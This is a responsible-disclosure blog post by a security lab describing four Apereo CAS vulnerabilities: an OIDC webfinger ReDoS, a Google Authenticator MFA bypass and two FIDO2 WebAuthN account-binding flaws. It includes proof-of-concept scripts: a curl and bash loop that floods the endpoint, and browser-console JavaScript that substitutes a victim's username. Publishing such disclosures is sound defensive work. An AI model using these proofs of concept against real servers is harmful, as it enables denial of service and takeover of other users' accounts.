Vous êtes victime d’un incident de sécurité ? Contactez notre CERT

13/06/2025

Blog technique

Responsible disclosure of vulnerabilities found on Apereo CAS

Lucile Razé, Jean-Léon Cusinato and Andy Russon

Recently, our Security Evaluation and Analysis Laboratory had the opportunity to perform an internal security audit of Apereo CAS, focusing on four authentication protocols available on the software: SAMLv2, OpenID Connect, CAS and Multi Factor Authentication via Google Authenticator and FIDO2 WebAuthN. This audit was aimed at evaluating the security level and robustness of these four protocols.

During this pentest, we identified 4 vulnerabilities, presented hereafter, on the integration of the following protocols:

  • OpenID Connect,
  • Google Authenticator,
  • Fido2 WebAuthN.

Apereo published a post detailing these vulnerabilities on its website.  

Table of Apereo CAS vulnerabilities: OpenID Connect DoS, Google Authenticator MFA bypass, and FIDO2 WebAuthN MFA bypass with CVSS v4 ratings

Denial of Service via OpenID Connect Webfinger Endpoint

Quick explanation of OpenID Connect Webfinger

OpenID Connect Webfinger is a discovery mechanism used to determine the OpenID Connect provider (OP) for a given user identifier, typically an email-like address (e.g., [email protected]). When a relying party (RP) receives such an identifier, it uses the Webfinger protocol to query a well-known URL (/.well-known/webfinger) at the domain (example.com) to retrieve information about the user’s OpenID provider. This enables dynamic configuration and federated login without hardcoding identity providers, making it a key component in federated identity workflows.

CVE-2025-XXXX

The official CVE identifier is not yet available and will be updated once the number is assigned.

The vulnerability is a denial of service (DoS) attack based on a regular expression vulnerability in the OIDC webfinger endpoint. An attacker can send a specifically crafted request to the /cas/oidc/.well-known/webfinger endpoint. The request can be repeated multiple times per second to prevent the CAS server from functioning:
  1. Send a request to: /cas/oidc/.well-known/webfinger?ressources=https://a@<1 repeated 10000 times>?
  2. Repeat the request multiple times per second.
This vulnerability is caused by the server trying to match content using a legitimate but complex regular expression. The two following scripts were used as proofs of concept:
				
					amossys@debian:~/vuln_test$ cat req.sh
#!/bin/bash
curl https://cas.example.com/cas/oidc/.well-known/webfinger?resource=https://a@111[...1 repeated 10k times...]111?

				
			
				
					amossys@debian:~/vuln_test$ cat ReDOS.sh
#!/bin/bash

# Number of iterations you want to run
ITERATIONS=5000  # Adjust this number based on how long you want the test to run
for ((i=0; i<ITERATIONS; i++)); do
    # Run the req.sh script in the background
    ./req.sh &
    # Get the process ID of the last background process
    PID=$!
    # Sleep for 0.2 seconds
    sleep 0.2
    # Kill the process
    kill $PID
done
				
			

The vulnerability can also be simulated through regex101: https://regex101.com/r/UDSBP9/1.

This vulnerability will cause an excessive and uncontrolled CPU usage (CWE-400) on the server to process and match the content. In a configuration following the CAS requirement , each request of the PoC takes approximately 40 seconds to be completed. The CAS server will be unresponsive and users will be unable to authenticate if enough request are sent.

A fix was proposed by replacing the regular expression:

^((https|acct|http|mailto|tel|device):(//)?)?((([^@]+)@)?(([^\?#:/]+)(:(\d*))?))([^\?#]+)?(\?([^#]+))?(#(.*))?$

with

^((https|acct|http|mailto|tel|device):(//)?)?((([^@]+)@)?(([^\?#:/]+)(:(\d*))?))([^\?#]+)?(\?([^#]*))?(#(.*))?$

After applying this fix, no more DOS could be triggered manually or through a fuzzing campain.

Bypass of the Google Authenticator authentication

Quick explanation of the Google Authenticator protocol

In CAS product, Google Authenticator can be added for multifactor authentication, in addition of a password authentication. In this case, when a user logs in for the first time, the server generates, stores and shares with the user a secret key. The user must store this secret key and confirm the registration by inputting a PIN derived from this secret key. The server also calculates the PIN, and if its identical to the one sent by the user, then the registration is complete. All these communications are performed in an encrypted TLS channel.
During the authentication, the user generates a new PIN from its authenticator and inputs it. The server also generates the PIN on its side and compares them before logging-in the user.

PIN are Time-based Once Password (TOTP) calculated according to the RFC 6238 with the secret key and the number of 30-second periods since the Unix epoch used as arguments to HMAC-SHA-1.

PIN = Truncate(« HMAC-SHA-1 » (key,counter))  

PIN are recalculated every 30 seconds and can be used only once. The user must input its PIN before the end of the 30 seconds of validity.

CVE-2025-XXXX

The official CVE identifier is not yet available and will be updated once the number is assigned.

The vulnerability has been found during the authentication, when the registration is done.

After the user authenticates itself with its CAS username and password, it arrives at the page shown below. The user can then select the “Sélectionner un périphérique” button to arrive on another web page (allowing it to choose its Authenticator device). By clicking on the “Supprimer un périphérique” button, the server allows it to remove the registered device.

After that, the protocol believes that it is the first authentication of this user (because it does not know any key or device associated with this user), and displays a QR code to add a new device.

Google Authenticator MFA bypass: Device removal and new device registration vulnerability exploitation.

Using this vulnerability, an attacker knowing a user’s username and password could then bypass the multifactor authentication. It is important to select the device for the multifactorial authentication after the password authentication, but the feature to remove a device or to add a new device should only be available after a complete authentication.

Bypass of the FIDO2 WebAuthN authentication

Two vulnerabilities were discovered on FIDO2 WebAuthN authentication.

Quick explanation of the FIDO2 WebAuthN protocol

WebAuthN is a core component of the FIDO2 project. The specification of WebAuthN protocol is available at https://www.w3.org/TR/webauthn-2. It implies a web site, a web navigator and an authenticator. The authenticator is generally an external device like USB, Bluetooth, NFC or emulated token. For the analysis, the authenticator is emulated with https://github.com/bulwarkid/virtual-fido/.

For the registration, the server send session information like the accepted signature scheme. The authenticator selects a scheme and generates a key pair. The public key and authenticator data are shared with and stored by the server.

For the authentication, the server choose a random challenge and send it to the user. The user generates a signature based on the authenticator information, the server challenge and some other information with its private key stored in its authenticator. The server checks the received signature with the user public key and, if valid, complete the registration.
All these communications are done in TLS channel.

CVE-2025-XXXX

The official CVE identifier is not yet available and will be updated once the number is assigned.

The vulnerability has been found during the registration process.
CAS does not verify that the FIDO2 WebAuthN registration is associated with the same account as the one that has just been authenticated with the CAS password. That is why a malicious user with a legitimate account can register a public key in the server for another user if one of the following two prerequisites are matched:

  • the victim user does not have a FIDO public key registered on its account,
  • the administrator has allowed users to have several public keys registered for a user account.

The following scheme illustrates the two steps to exploit this vulnerability. The user1 is an attacker and the user2 is a victim. After its legitimate login, the attacker (user1) can register its own FIDO2 device on the account of user2.

Below is an example of JavaScript script to inject in the navigator console to change the user after the password authentication. Whenever you see victim_user, replace it with the actual username of the victim.

				
					 function register(username, displayName, credentialNickname, csrfToken,
                  requireResidentKey = false,
                  getRequest = getRegisterRequest) {
    let request; 
    username="victim_user"; 
    displayName="victim_user";
    return performCeremony({
        getWebAuthnUrls,
        getRequest: urls => getRequest(urls, username, displayName, credentialNickname, requireResidentKey, csrfToken),
        statusStrings: {
            init: 'Initiating registration ceremony with server...',
            authenticatorRequest: 'Asking authenticators to create credential...',
            success: 'Registration successful.',
        },
        executeRequest: req => {
            request = req;
            return executeRegisterRequest(req);
        }
    })
        .then(data => {
            console.log(`registration data: ${JSON.stringify(data.registration)}`);
            if (data.registration) {
                const nicknameInfo = {nickname: data.registration.credentialNickname};

                if (data.registration && data.registration.attestationMetadata) {
                    showDeviceInfo(extend(
                        data.registration.attestationMetadata.deviceProperties,
                        nicknameInfo
                    ));
                } else {
                    showDeviceInfo(nicknameInfo);
                }

                if (!data.attestationTrusted) {
                    addMessage("Attestation cannot be trusted.");
                } else {
                    setTimeout(() => {
                        $('#sessionToken').val(session.sessionToken);
                        console.log("Submitting registration form");
                        $('#form').submit();
                    }, 2500);
                }
            }
        })
        .catch((err) => {
            setStatus('Registration failed.');
            console.error('Registration failed', err);

            if (err.name === 'NotAllowedError') {
                if (request.publicKeyCredentialCreationOptions.excludeCredentials
                    && request.publicKeyCredentialCreationOptions.excludeCredentials.length > 0
                ) {
                    addMessage('Credential creation failed, probably because an already registered credential is available.');
                } else {
                    addMessage('Credential creation failed for an unknown reason.');
                }
            } else if (err.name === 'InvalidStateError') {
                addMessage(`This authenticator is already registered for the account "${username}".`)
            } else if (err.message) {
                addMessage(`${err.message}`);
            } else if (err.messages) {
                addMessages(err.messages);
            }
            return rejected(err);
        });
}

				
			

CVE-2025-XXXX

The official CVE identifier is not yet available and will be updated once the number is assigned.

The vulnerability has been found during the authentication, when the registration is done.

As for the registration, CAS does not verify that the FIDO2 WebAuthN authentication is associated with the same account as the one that has just been authenticated with the CAS password. That is why a malicious user with a legitimate account and knowing the password of a victim user can connect to the victim account (bypassing its MFA).

The following scheme illustrates the steps to exploit this vulnerability. The user1 is an attacker and the user2 is a victim.

Below is a JavaScript script that can be injected by the navigator console to change the username after the password authentication. Whenever you see victim_user, replace it with the actual username of the victim.

				
					function authenticate(username = null, getRequest = getAuthenticateRequest) {
    $('#deviceTable tbody tr').remove();
    $('#divDeviceInfo').hide();
    hideDeviceInfo();
    username="victim_user";
    return performCeremony({
        getWebAuthnUrls,
        getRequest: urls => getRequest(urls, username),
        statusStrings: {
            init: 'Initiating authentication ceremony...',
            authenticatorRequest: 'Asking authenticators to perform assertion...',
            success: 'Authentication successful.',
        },
        executeRequest: executeAuthenticateRequest,
    }).then(data => {
        $('#divDeviceInfo').show();
        console.log(`Received: ${JSON.stringify(data, undefined, 2)}`);
        if (data.registrations) {

            data.registrations.forEach(reg => {

                addDeviceAttributeAsRow("Username", reg.username);
                addDeviceAttributeAsRow("Credential Nickname", reg.credentialNickname);
                addDeviceAttributeAsRow("Registration Date", reg.registrationTime);
                addDeviceAttributeAsRow("Session Token", data.sessionToken);
                if (reg.attestationMetadata) {
                    const deviceProperties = reg.attestationMetadata.deviceProperties;
                    if (deviceProperties) {
                        addDeviceAttributeAsRow("Device Id", deviceProperties.deviceId);
                        addDeviceAttributeAsRow("Device Name", deviceProperties.displayName);

                        showDeviceInfo({
                            "displayName": deviceProperties.displayName,
                            "imageUrl": deviceProperties.imageUrl
                        })
                    }
                }
            });

            $('#authnButton').hide();

            setTimeout(() => {
                $('#token').val(data.sessionToken);
                console.log("Submitting authentication form");
                $('#webauthnLoginForm').submit();
            }, 1500);
        }
        return data;
    }).catch((err) => {
        setStatus(authFailTitle);
        if (err.name === 'InvalidStateError') {
            addMessage(`This authenticator is not registered for the account "${username}".`)
        } else if (err.message) {
            addMessage(`${err.name}: ${err.message}`);
        } else if (err.messages) {
            addMessages(err.messages);
        }
        console.error('Authentication failed', err);
        addMessage(authFailDesc);
        return rejected(err);
    });
}

				
			

If you want to find out more about the security audit or evaluation capabilities of our SEAL, feel free to reach us.

Voir les derniers articles de notre Blog technique et les dernières actualités

11 avril 2025
Le protocole TLS garantit la confidentialité et l’intégrité des échanges entre un client et un serveur et à minima l’authenticité […]
11 mars 2025
In the previous article, we explained how to find a Local Privilege Escalation using DLL sideloading. At the end, we […]
28 janvier 2025
[...] As part of this activity, we developed a tool being able to realize RFID relay attacks on access control […]
9 janvier 2025
Contrairement à une évaluation de sécurité réalisée dans un objectif de certification (CSPN ou Critères Communs), la recherche de vulnérabilités […]
20 décembre 2024
La sécurité informatique peut paraître, pour beaucoup, comme un centre de coût et de complexité : plan d’audits à mettre en […]
16 décembre 2024
Après avoir exploré les vulnérabilités inhérentes aux modèles de langage à grande échelle (LLM) dans notre série d'articles, il est […]
28 novembre 2024
L'exfiltration de modèles LLM (Model Theft in english) par des acteurs malveillants ou des groupes de cyberespionnage avancés est une […]
26 novembre 2024
La surconfiance (Overreliance en anglais) peut survenir lorsqu'un LLM produit des informations erronées et les présente de manière autoritaire [...]
25 novembre 2024
Avec une souche éprouvée, des outils bien choisis et des cibles stratégiques, 8Base se distingue comme une menace particulièrement redoutable. […]
13 novembre 2024
Un système basé sur les LLM (Large Language Models) est souvent doté d'un certain degré d'autonomie par son développeur, [...]